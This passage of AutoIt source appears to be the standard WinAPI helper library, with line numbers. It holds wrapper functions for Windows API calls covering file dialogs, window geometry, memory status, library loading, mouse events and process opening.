  2177.     Local $inulls = 0
  2178.     Local $tofn = DllStructCreate($tagopenfilename)
  2179.     Local $afiles[1] = [0]
  2180.     Local $iflag = $iflags
  2181.     Local $asflines = StringSplit($sfilter, "|")
  2182.     Local $asfilter[$asflines[0] * 2 + 1]
  2183.     Local $istart, $ifinal, $tagfilter
  2184.     $asfilter[0] = $asflines[0] * 2
  2185.     For $i = 1 To $asflines[0]
  2186.         $istart = StringInStr($asflines[$i], "(", 0, 1)
  2187.         $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  2188.         $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing)
  2189.         $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing)
  2190.         $tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  2191.     Next
  2192.     Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  2193.     Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  2194.     Local $tfilter = DllStructCreate($tagfilter & "wchar")
  2195.     Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  2196.     Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  2197.     For $i = 1 To $asfilter[0]
  2198.         DllStructSetData($tfilter, $i, $asfilter[$i])
  2199.     Next
  2200.     DllStructSetData($ttitle, "Title", $stitle)
  2201.     DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  2202.     DllStructSetData($tpath, "Path", $sdefaultfile)
  2203.     DllStructSetData($textn, "Extension", $sdefaultext)
  2204.     DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  2205.     DllStructSetData($tofn, "hwndOwner", $hwndowner)
  2206.     DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  2207.     DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  2208.     DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  2209.     DllStructSetData($tofn, "nMaxFile", $ipathlen)
  2210.     DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  2211.     DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  2212.     DllStructSetData($tofn, "Flags", $iflag)
  2213.     DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  2214.     DllStructSetData($tofn, "FlagsEx", $iflagsex)
  2215.     Local $ares = DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
  2216.     If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles)
  2217.     If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
  2218.         For $x = 1 To $ipathlen
  2219.             If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
  2220.                 DllStructSetData($tpath, "Path", "|", $x)
  2221.                 $inulls += 1
  2222.             Else
  2223.                 $inulls = 0
  2224.             EndIf
  2225.             If $inulls = 2 Then ExitLoop
  2226.         Next
  2227.         DllStructSetData($tpath, "Path", Chr(0), $x - 1)
  2228.         $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
  2229.         If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  2230.         Return StringSplit(DllStructGetData($tpath, "Path"), "|")
  2231.     ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
  2232.         $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
  2233.         If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  2234.         Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
  2235.     Else
  2236.         Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  2237.     EndIf
  2238. EndFunc
  2239.  
  2240. Func _winapi_getoverlappedresult($hfile, $toverlapped, ByRef $ibytes, $bwait = False)
  2241.     Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "struct*", $toverlapped, "dword*", 0, "bool", $bwait)
  2242.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, False)
  2243.     $ibytes = $aresult[3]
  2244.     Return $aresult[0]
  2245. EndFunc
  2246.  
  2247. Func _winapi_getparent($hwnd)
  2248.     Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
  2249.     If @error Then Return SetError(@error, @extended, 0)
  2250.     Return $aresult[0]
  2251. EndFunc
  2252.  
  2253. Func _winapi_getprocaddress($hmodule, $vname)
  2254.     Local $stype = "str"
  2255.     If IsNumber($vname) Then $stype = "word"
  2256.     Local $aresult = DllCall("kernel32.dll", "ptr", "GetProcAddress", "handle", $hmodule, $stype, $vname)
  2257.     If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  2258.     Return $aresult[0]
  2259. EndFunc
  2260.  
  2261. Func _winapi_getprocessaffinitymask($hprocess)
  2262.     Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
  2263.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  2264.     Local $amask[3]
  2265.     $amask[0] = True
  2266.     $amask[1] = $aresult[2]
  2267.     $amask[2] = $aresult[3]
  2268.     Return $amask
  2269. EndFunc
  2270.  
  2271. Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  2272.     Local $ipathlen = 4096
  2273.     Local $tofn = DllStructCreate($tagopenfilename)
  2274.     Local $afiles[1] = [0]
  2275.     Local $iflag = $iflags
  2276.     Local $asflines = StringSplit($sfilter, "|")
  2277.     Local $asfilter[$asflines[0] * 2 + 1]
  2278.     Local $istart, $ifinal, $tagfilter
  2279.     $asfilter[0] = $asflines[0] * 2
  2280.     For $i = 1 To $asflines[0]
  2281.         $istart = StringInStr($asflines[$i], "(", 0, 1)
  2282.         $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  2283.         $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing)
  2284.         $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing)
  2285.         $tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  2286.     Next
  2287.     Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  2288.     Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  2289.     Local $tfilter = DllStructCreate($tagfilter & "wchar")
  2290.     Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  2291.     Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  2292.     For $i = 1 To $asfilter[0]
  2293.         DllStructSetData($tfilter, $i, $asfilter[$i])
  2294.     Next
  2295.     DllStructSetData($ttitle, "Title", $stitle)
  2296.     DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  2297.     DllStructSetData($tpath, "Path", $sdefaultfile)
  2298.     DllStructSetData($textn, "Extension", $sdefaultext)
  2299.     DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  2300.     DllStructSetData($tofn, "hwndOwner", $hwndowner)
  2301.     DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  2302.     DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  2303.     DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  2304.     DllStructSetData($tofn, "nMaxFile", $ipathlen)
  2305.     DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  2306.     DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  2307.     DllStructSetData($tofn, "Flags", $iflag)
  2308.     DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  2309.     DllStructSetData($tofn, "FlagsEx", $iflagsex)
  2310.     Local $ares = DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
  2311.     If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles)
  2312.     Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  2313. EndFunc
  2314.  
  2315. Func _winapi_getstockobject($iobject)
  2316.     Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
  2317.     If @error Then Return SetError(@error, @extended, 0)
  2318.     Return $aresult[0]
  2319. EndFunc
  2320.  
  2321. Func _winapi_getstdhandle($istdhandle)
  2322.     If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
  2323.     Local Const $ahandle[3] = [-10, -11, -12]
  2324.     Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
  2325.     If @error Then Return SetError(@error, @extended, -1)
  2326.     Return $aresult[0]
  2327. EndFunc
  2328.  
  2329. Func _winapi_getsyscolor($iindex)
  2330.     Local $aresult = DllCall("user32.dll", "INT", "GetSysColor", "int", $iindex)
  2331.     If @error Then Return SetError(@error, @extended, 0)
  2332.     Return $aresult[0]
  2333. EndFunc
  2334.  
  2335. Func _winapi_getsyscolorbrush($iindex)
  2336.     Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
  2337.     If @error Then Return SetError(@error, @extended, 0)
  2338.     Return $aresult[0]
  2339. EndFunc
  2340.  
  2341. Func _winapi_getsystemmetrics($iindex)
  2342.     Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  2343.     If @error Then Return SetError(@error, @extended, 0)
  2344.     Return $aresult[0]
  2345. EndFunc
  2346.  
  2347. Func _winapi_gettextextentpoint32($hdc, $stext)
  2348.     Local $tsize = DllStructCreate($tagsize)
  2349.     Local $isize = StringLen($stext)
  2350.     Local $aret = DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
  2351.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2352.     Return $tsize
  2353. EndFunc
  2354.  
  2355. Func _winapi_gettextmetrics($hdc)
  2356.     Local $ttextmetric = DllStructCreate($tagtextmetric)
  2357.     Local $aret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
  2358.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2359.     Return $ttextmetric
  2360. EndFunc
  2361.  
  2362. Func _winapi_getwindow($hwnd, $icmd)
  2363.     Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  2364.     If @error Then Return SetError(@error, @extended, 0)
  2365.     Return $aresult[0]
  2366. EndFunc
  2367.  
  2368. Func _winapi_getwindowdc($hwnd)
  2369.     Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
  2370.     If @error Then Return SetError(@error, @extended, 0)
  2371.     Return $aresult[0]
  2372. EndFunc
  2373.  
  2374. Func _winapi_getwindowheight($hwnd)
  2375.     Local $trect = _winapi_getwindowrect($hwnd)
  2376.     If @error Then Return SetError(@error, @extended, 0)
  2377.     Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  2378. EndFunc
  2379.  
  2380. Func _winapi_getwindowlong($hwnd, $iindex)
  2381.     Local $sfuncname = "GetWindowLongW"
  2382.     If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
  2383.     Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
  2384.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  2385.     Return $aresult[0]
  2386. EndFunc
  2387.  
  2388. Func _winapi_getwindowplacement($hwnd)
  2389.     Local $twindowplacement = DllStructCreate($tagwindowplacement)
  2390.     DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
  2391.     Local $aret = DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  2392.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2393.     Return $twindowplacement
  2394. EndFunc
  2395.  
  2396. Func _winapi_getwindowrect($hwnd)
  2397.     Local $trect = DllStructCreate($tagrect)
  2398.     Local $aret = DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
  2399.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2400.     Return $trect
  2401. EndFunc
  2402.  
  2403. Func _winapi_getwindowrgn($hwnd, $hrgn)
  2404.     Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
  2405.     If @error Then Return SetError(@error, @extended, 0)
  2406.     Return $aresult[0]
  2407. EndFunc
  2408.  
  2409. Func _winapi_getwindowtext($hwnd)
  2410.     Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  2411.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  2412.     Return SetExtended($aresult[0], $aresult[2])
  2413. EndFunc
  2414.  
  2415. Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
  2416.     Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  2417.     If @error Then Return SetError(@error, @extended, 0)
  2418.     $ipid = $aresult[2]
  2419.     Return $aresult[0]
  2420. EndFunc
  2421.  
  2422. Func _winapi_getwindowwidth($hwnd)
  2423.     Local $trect = _winapi_getwindowrect($hwnd)
  2424.     If @error Then Return SetError(@error, @extended, 0)
  2425.     Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  2426. EndFunc
  2427.  
  2428. Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
  2429.     $ix = DllStructGetData($tpoint, "X")
  2430.     $iy = DllStructGetData($tpoint, "Y")
  2431. EndFunc
  2432.  
  2433. Func _winapi_globalmemorystatus()
  2434.     Local $tmem = DllStructCreate($tagmemorystatusex)
  2435.     DllStructSetData($tmem, 1, DllStructGetSize($tmem))
  2436.     Local $aret = DllCall("kernel32.dll", "bool", "GlobalMemoryStatusEx", "struct*", $tmem)
  2437.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  2438.     Local $amem[7]
  2439.     $amem[0] = DllStructGetData($tmem, 2)
  2440.     $amem[1] = DllStructGetData($tmem, 3)
  2441.     $amem[2] = DllStructGetData($tmem, 4)
  2442.     $amem[3] = DllStructGetData($tmem, 5)
  2443.     $amem[4] = DllStructGetData($tmem, 6)
  2444.     $amem[5] = DllStructGetData($tmem, 7)
  2445.     $amem[6] = DllStructGetData($tmem, 8)
  2446.     Return $amem
  2447. EndFunc
  2448.  
  2449. Func _winapi_guidfromstring($sguid)
  2450.     Local $tguid = DllStructCreate($tagguid)
  2451.     _winapi_guidfromstringex($sguid, $tguid)
  2452.     If @error Then Return SetError(@error + 10, @extended, 0)
  2453.     Return $tguid
  2454. EndFunc
  2455.  
  2456. Func _winapi_guidfromstringex($sguid, $tguid)
  2457.     Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $tguid)
  2458.     If @error Then Return SetError(@error, @extended, False)
  2459.     Return $aresult[0]
  2460. EndFunc
  2461.  
  2462. Func _winapi_hiword($ilong)
  2463.     Return BitShift($ilong, 16)
  2464. EndFunc
  2465.  
  2466. Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
  2467.     If $hwnd = $hlastwnd Then Return True
  2468.     For $ii = $__g_ainprocess_winapi[0][0] To 1 Step -1
  2469.         If $hwnd = $__g_ainprocess_winapi[$ii][0] Then
  2470.             If $__g_ainprocess_winapi[$ii][1] Then
  2471.                 $hlastwnd = $hwnd
  2472.                 Return True
  2473.             Else
  2474.                 Return False
  2475.             EndIf
  2476.         EndIf
  2477.     Next
  2478.     Local $ipid
  2479.     _winapi_getwindowthreadprocessid($hwnd, $ipid)
  2480.     Local $icount = $__g_ainprocess_winapi[0][0] + 1
  2481.     If $icount >= 64 Then $icount = 1
  2482.     $__g_ainprocess_winapi[0][0] = $icount
  2483.     $__g_ainprocess_winapi[$icount][0] = $hwnd
  2484.     $__g_ainprocess_winapi[$icount][1] = ($ipid = @AutoItPID)
  2485.     Return $__g_ainprocess_winapi[$icount][1]
  2486. EndFunc
  2487.  
  2488. Func _winapi_inttofloat($iint)
  2489.     Local $tint = DllStructCreate("int")
  2490.     Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
  2491.     DllStructSetData($tint, 1, $iint)
  2492.     Return DllStructGetData($tfloat, 1)
  2493. EndFunc
  2494.  
  2495. Func _winapi_isclassname($hwnd, $sclassname)
  2496.     Local $sseparator = Opt("GUIDataSeparatorChar")
  2497.     Local $aclassname = StringSplit($sclassname, $sseparator)
  2498.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  2499.     Local $sclasscheck = _winapi_getclassname($hwnd)
  2500.     For $x = 1 To UBound($aclassname) - 1
  2501.         If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  2502.     Next
  2503.     Return False
  2504. EndFunc
  2505.  
  2506. Func _winapi_iswindow($hwnd)
  2507.     Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
  2508.     If @error Then Return SetError(@error, @extended, 0)
  2509.     Return $aresult[0]
  2510. EndFunc
  2511.  
  2512. Func _winapi_iswindowvisible($hwnd)
  2513.     Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  2514.     If @error Then Return SetError(@error, @extended, 0)
  2515.     Return $aresult[0]
  2516. EndFunc
  2517.  
  2518. Func _winapi_invalidaterect($hwnd, $trect = 0, $berase = True)
  2519.     Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $berase)
  2520.     If @error Then Return SetError(@error, @extended, False)
  2521.     Return $aresult[0]
  2522. EndFunc
  2523.  
  2524. Func _winapi_lineto($hdc, $ix, $iy)
  2525.     Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
  2526.     If @error Then Return SetError(@error, @extended, False)
  2527.     Return $aresult[0]
  2528. EndFunc
  2529.  
  2530. Func _winapi_loadbitmap($hinstance, $sbitmap)
  2531.     Local $sbitmaptype = "int"
  2532.     If IsString($sbitmap) Then $sbitmaptype = "wstr"
  2533.     Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
  2534.     If @error Then Return SetError(@error, @extended, 0)
  2535.     Return $aresult[0]
  2536. EndFunc
  2537.  
  2538. Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
  2539.     Local $aresult, $simagetype = "int"
  2540.     If IsString($simage) Then $simagetype = "wstr"
  2541.     $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
  2542.     If @error Then Return SetError(@error, @extended, 0)
  2543.     Return $aresult[0]
  2544. EndFunc
  2545.  
  2546. Func _winapi_loadlibrary($sfilename)
  2547.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  2548.     If @error Then Return SetError(@error, @extended, 0)
  2549.     Return $aresult[0]
  2550. EndFunc
  2551.  
  2552. Func _winapi_loadlibraryex($sfilename, $iflags = 0)
  2553.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
  2554.     If @error Then Return SetError(@error, @extended, 0)
  2555.     Return $aresult[0]
  2556. EndFunc
  2557.  
  2558. Func _winapi_loadshell32icon($iiconid)
  2559.     Local $ticons = DllStructCreate("ptr Data")
  2560.     Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
  2561.     If @error Then Return SetError(@error, @extended, 0)
  2562.     If $iicons <= 0 Then Return SetError(10, 0, 0)
  2563.     Return DllStructGetData($ticons, "Data")
  2564. EndFunc
  2565.  
  2566. Func _winapi_loadstring($hinstance, $istringid)
  2567.     Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
  2568.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  2569.     Return SetExtended($aresult[0], $aresult[3])
  2570. EndFunc
  2571.  
  2572. Func _winapi_localfree($hmemory)
  2573.     Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmemory)
  2574.     If @error Then Return SetError(@error, @extended, False)
  2575.     Return $aresult[0]
  2576. EndFunc
  2577.  
  2578. Func _winapi_loword($ilong)
  2579.     Return BitAND($ilong, 65535)
  2580. EndFunc
  2581.  
  2582. Func _winapi_makelangid($ilngidprimary, $ilngidsub)
  2583.     Return BitOR(BitShift($ilngidsub, -10), $ilngidprimary)
  2584. EndFunc
  2585.  
  2586. Func _winapi_makelcid($ilngid, $isortid)
  2587.     Return BitOR(BitShift($isortid, -16), $ilngid)
  2588. EndFunc
  2589.  
  2590. Func _winapi_makelong($ilo, $ihi)
  2591.     Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
  2592. EndFunc
  2593.  
  2594. Func _winapi_makeqword($ilodword, $ihidword)
  2595.     Local $tint64 = DllStructCreate("uint64")
  2596.     Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  2597.     DllStructSetData($tdwords, 1, $ilodword)
  2598.     DllStructSetData($tdwords, 2, $ihidword)
  2599.     Return DllStructGetData($tint64, 1)
  2600. EndFunc
  2601.  
  2602. Func _winapi_messagebeep($itype = 1)
  2603.     Local $isound
  2604.     Switch $itype
  2605.         Case 1
  2606.             $isound = 0
  2607.         Case 2
  2608.             $isound = 16
  2609.         Case 3
  2610.             $isound = 32
  2611.         Case 4
  2612.             $isound = 48
  2613.         Case 5
  2614.             $isound = 64
  2615.         Case Else
  2616.             $isound = -1
  2617.     EndSwitch
  2618.     Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  2619.     If @error Then Return SetError(@error, @extended, False)
  2620.     Return $aresult[0]
  2621. EndFunc
  2622.  
  2623. Func _winapi_msgbox($iflags, $stitle, $stext)
  2624.     BlockInput(0)
  2625.     MsgBox($iflags, $stitle, $stext & "      ")
  2626. EndFunc
  2627.  
  2628. Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
  2629.     DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
  2630.     If @error Then Return SetError(@error, @extended)
  2631. EndFunc
  2632.  
  2633. Func _winapi_moveto($hdc, $ix, $iy)
  2634.     Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
  2635.     If @error Then Return SetError(@error, @extended, False)
  2636.     Return $aresult[0]
  2637. EndFunc
  2638.  
  2639. Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $brepaint = True)
  2640.     Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $brepaint)
  2641.     If @error Then Return SetError(@error, @extended, False)
  2642.     Return $aresult[0]
  2643. EndFunc
  2644.  
  2645. Func _winapi_muldiv($inumber, $inumerator, $idenominator)
  2646.     Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
  2647.     If @error Then Return SetError(@error, @extended, -1)
  2648.     Return $aresult[0]
  2649. EndFunc
  2650.  
  2651. Func _winapi_multibytetowidechar($vtext, $icodepage = 0, $iflags = 0, $bretstring = False)
  2652.     Local $stexttype = "str"
  2653.     If NOT IsString($vtext) Then $stexttype = "struct*"
  2654.     Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "ptr", 0, "int", 0)
  2655.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  2656.     Local $iout = $aresult[0]
  2657.     Local $tout = DllStructCreate("wchar[" & $iout & "]")
  2658.     $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "struct*", $tout, "int", $iout)
  2659.     If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, 0)
  2660.     If $bretstring Then Return DllStructGetData($tout, 1)
  2661.     Return $tout
  2662. EndFunc
  2663.  
  2664. Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
  2665.     Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
  2666.     If @error Then Return SetError(@error, @extended, False)
  2667.     Return $aresult[0]
  2668. EndFunc
  2669.  
  2670. Func _winapi_openprocess($iaccess, $binherit, $ipid, $bdebugpriv = False)
  2671.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid)
  2672.     If @error Then Return SetError(@error, @extended, 0)
  2673.     If $aresult[0] Then Return $aresult[0]
  2674.     If NOT $bdebugpriv Then Return SetError(100, 0, 0)
  2675.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  2676.     If @error Then Return SetError(@error + 10, @extended, 0)
  2677.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  2678.     Local $ierror = @error
  2679.     Local $iextended = @extended
  2680.     Local $iret = 0
  2681.     If NOT @error Then
  2682.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid)
  2683.         $ierror = @error
  2684.         $iextended = @extended
  2685.         If $aresult[0] Then $iret = $aresult[0]
  2686.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  2687.         If @error Then
  2688.             $ierror = @error + 20
  2689.             $iextended = @extended
  2690.         EndIf
  2691.     Else
  2692.         $ierror = @error + 30
  2693.     EndIf
  2694.     _winapi_closehandle($htoken)
  2695.     Return SetError($ierror, $iextended, $iret)
  2696. EndFunc
  2697.  
  2698. Func __winapi_parsefiledialogpath($spath)
  2699.     Local $afiles[3]
  2700.     $afiles[0] = 2
  2701.     Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
  2702.     $afiles[1] = $stemp
  2703.     $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
  2704.     Return $afiles
  2705. EndFunc
  2706.  
  2707. Func _winapi_pathfindonpath(Const $sfilepath, $aextrapaths = "", Const $spathdelimiter = @LF)
  2708.     Local $iextracount = 0
  2709.     If IsString($aextrapaths) Then
  2710.         If StringLen($aextrapaths) Then
  2711.             $aextrapaths = StringSplit($aextrapaths, $spathdelimiter, $str_entiresplit + $str_nocount)
  2712.             $iextracount = UBound($aextrapaths, $ubound_rows)
  2713.         EndIf
  2714.     ElseIf IsArray($aextrapaths) Then
  2715.         $iextracount = UBound($aextrapaths)
  2716.     EndIf
  2717.     Local $tpaths, $tpathptrs
  2718.     If $iextracount Then
  2719.         Local $tagstruct = ""
  2720.         For $path In $aextrapaths
  2721.             $tagstruct &= "wchar[" & StringLen($path) + 1 & "];"
  2722.         Next
  2723.         $tpaths = DllStructCreate($tagstruct)
  2724.         $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
  2725.         For $i = 1 To $iextracount
  2726.             DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
  2727.             DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
  2728.         Next
  2729.         DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
  2730.     EndIf
  2731.     Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $sfilepath, "struct*", $tpathptrs)
  2732.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, $sfilepath)
  2733.     Return $aresult[1]
  2734. EndFunc
  2735.  
  2736. Func _winapi_pointfromrect(ByRef $trect, $bcenter = True)
  2737.     Local $ix1 = DllStructGetData($trect, "Left")
  2738.     Local $iy1 = DllStructGetData($trect, "Top")
  2739.     Local $ix2 = DllStructGetData($trect, "Right")
  2740.     Local $iy2 = DllStructGetData($trect, "Bottom")
  2741.     If $bcenter Then
  2742.         $ix1 = $ix1 + (($ix2 - $ix1) / 2)
  2743.         $iy1 = $iy1 + (($iy2 - $iy1) / 2)
  2744.     EndIf
  2745.     Local $tpoint = DllStructCreate($tagpoint)
  2746.     DllStructSetData($tpoint, "X", $ix1)
